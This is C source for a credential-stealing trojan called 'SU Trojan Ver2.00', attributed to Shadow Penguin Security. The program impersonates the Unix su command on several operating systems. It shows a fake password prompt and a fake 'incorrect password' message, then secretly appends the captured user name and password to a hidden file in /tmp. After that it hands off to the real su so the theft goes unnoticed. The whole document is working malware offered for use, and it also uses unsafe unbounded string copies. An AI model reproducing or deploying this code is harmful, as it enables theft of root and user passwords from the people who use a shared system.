/*=============================================================================
   SU Trojan Ver2.00
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (unewn4th@usa.net)
  =============================================================================
*/

#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <pwd.h>
#include    <sys/utsname.h>

#define     MSG_INP_TYPE1       "Password:"
#define     MSG_INP_TYPE2       "パスワード:"

#define     SUNOS5_J_MSG_ERR    "su: 新しいユーザに変更できません。"
#define     SUNOS5_J_MSG_NOID   "su: ID が正しくありません: %s"
#define     SUNOS5_E_MSG_ERR    "su: Sorry"
#define     SUNOS5_E_MSG_NOID   "su: Unknown id: %s"
#define     SUNOS5_WAIT         5
#define     IRIX_J_MSG_ERR      "残念です"
#define     IRIX_J_MSG_NOID     "ユーザＩＤは定義されていません: %s"
#define     IRIX_E_MSG_ERR      "Sorry"
#define     IRIX_E_MSG_NOID     "Unknown user id: %s"
#define     IRIX_WAIT           0
#define     SUNOS4_MSG_ERR      "Sorry"
#define     SUNOS4_MSG_NOID     "Unknown login: %s"
#define     SUNOS4_WAIT         0
#define     LINUX_MSG_ERR       "su: incorrect password"
#define     LINUX_MSG_NOID      "su: user %s does not exist"
#define     LINUX_WAIT          1
#define     FREEBSD_MSG_ERR     "Sorry"
#define     FREEBSD_MSG_NOID    "su: unknown login: %s"
#define     FREEBSD_WAIT        0
#define     GENERIC_MSG_ERR     "Sorry"
#define     GENERIC_MSG_NOID    "su: Unknown id: %s"
#define     GENERIC_WAIT        0

#define     REAL_SU             "/bin/su"
#define     LOGFILE             "/tmp/.mailer_socket"
#define     MAX_USERNAME        200
#define     MAX_PASSWD          200

main(argc,argv)
int argc;
char *argv[];
{
    char            x[MAX_PASSWD];
    char            user[MAX_USERNAME];
    char            passwd[MAX_PASSWD];
    char            temp1[MAX_USERNAME],temp2[MAX_PASSWD];
    char            msg_inp[300];
    char            msg_err[300];
    char            msg_noid[300];
    int             msg_wait;
    struct passwd   *pwd;
    struct utsname  utname;
    FILE            *fp;
    int             flag=0;
    int             uid=getuid();

    if (argc==1) strcpy(user,"root");
    else         strcpy(user,argv[1]);
    
    uname(&utname);

    if (!strcmp(utname.sysname,"SunOS")){
        if (strstr(utname.release,"5.")!=NULL){
            if (!strcmp(getenv("LANG"),"ja")){
                strcpy(msg_inp ,MSG_INP_TYPE1);
                strcpy(msg_err ,SUNOS5_J_MSG_ERR);
                strcpy(msg_noid,SUNOS5_J_MSG_NOID);
                msg_wait=SUNOS5_WAIT;
            }else{
                strcpy(msg_inp ,MSG_INP_TYPE1);
                strcpy(msg_err ,SUNOS5_E_MSG_ERR);
                strcpy(msg_noid,SUNOS5_E_MSG_NOID);
                msg_wait=SUNOS5_WAIT;
            }
        }else{
            strcpy(msg_inp ,MSG_INP_TYPE1);
            strcpy(msg_err ,SUNOS4_MSG_ERR);
            strcpy(msg_noid,SUNOS4_MSG_NOID);
            msg_wait=SUNOS4_WAIT;
        }
    }else if (!strcmp(utname.sysname,"Linux")){
        strcpy(msg_inp ,MSG_INP_TYPE1);
        strcpy(msg_err ,LINUX_MSG_ERR);
        strcpy(msg_noid,LINUX_MSG_NOID);
        msg_wait=LINUX_WAIT;
    }else if (!strcmp(utname.sysname,"IRIX")){
        if (strstr(getenv("LANG"),"ja")!=NULL){
            strcpy(msg_inp ,MSG_INP_TYPE2);
            strcpy(msg_err ,IRIX_J_MSG_ERR);
            strcpy(msg_noid,IRIX_J_MSG_NOID);
            msg_wait=IRIX_WAIT;
        }else{
            strcpy(msg_inp ,MSG_INP_TYPE1);
            strcpy(msg_err ,IRIX_E_MSG_ERR);
            strcpy(msg_noid,IRIX_E_MSG_NOID);
            msg_wait=IRIX_WAIT;
        }
    }else if (!strcmp(utname.sysname,"FreeBSD")){
        strcpy(msg_inp ,MSG_INP_TYPE1);
        strcpy(msg_err ,FREEBSD_MSG_ERR);
        strcpy(msg_noid,FREEBSD_MSG_NOID);
        msg_wait=FREEBSD_WAIT;
    }else{
        strcpy(msg_inp ,MSG_INP_TYPE1);
        strcpy(msg_err ,GENERIC_MSG_ERR);
        strcpy(msg_noid,GENERIC_MSG_NOID);
        msg_wait=GENERIC_WAIT;
    }
    

    if ((fp=fopen(LOGFILE,"r"))!=NULL){
        for (;;){
            if (feof(fp)) break;
            fscanf(fp,"%s",temp1);
            fscanf(fp,"%s",temp2);
            if (strcmp(user,temp1)==0){
                flag=1;
                break;
            }
        }
        fclose(fp);
    }
    pwd=getpwuid(uid);
    if (flag==1 || uid==0 || strcmp(pwd->pw_name,user)==0){
        sprintf(temp1,"%s %s",REAL_SU,user);
        system(temp1);
        exit(1);
    }   
    if (argc>1){
        if ((pwd=getpwnam(user))==NULL){
            sleep(msg_wait);
            printf(msg_noid,user);
            printf("\n");
            exit(1);
        }
    } 
    strcpy(x,(char *)getpass(msg_inp));
    sleep(msg_wait);
    printf("%s\n",msg_err);
    if ((fp=fopen(LOGFILE,"a"))!=NULL){
        fprintf(fp,"%s\t%s\n",user,x);
        fclose(fp);
    }
}
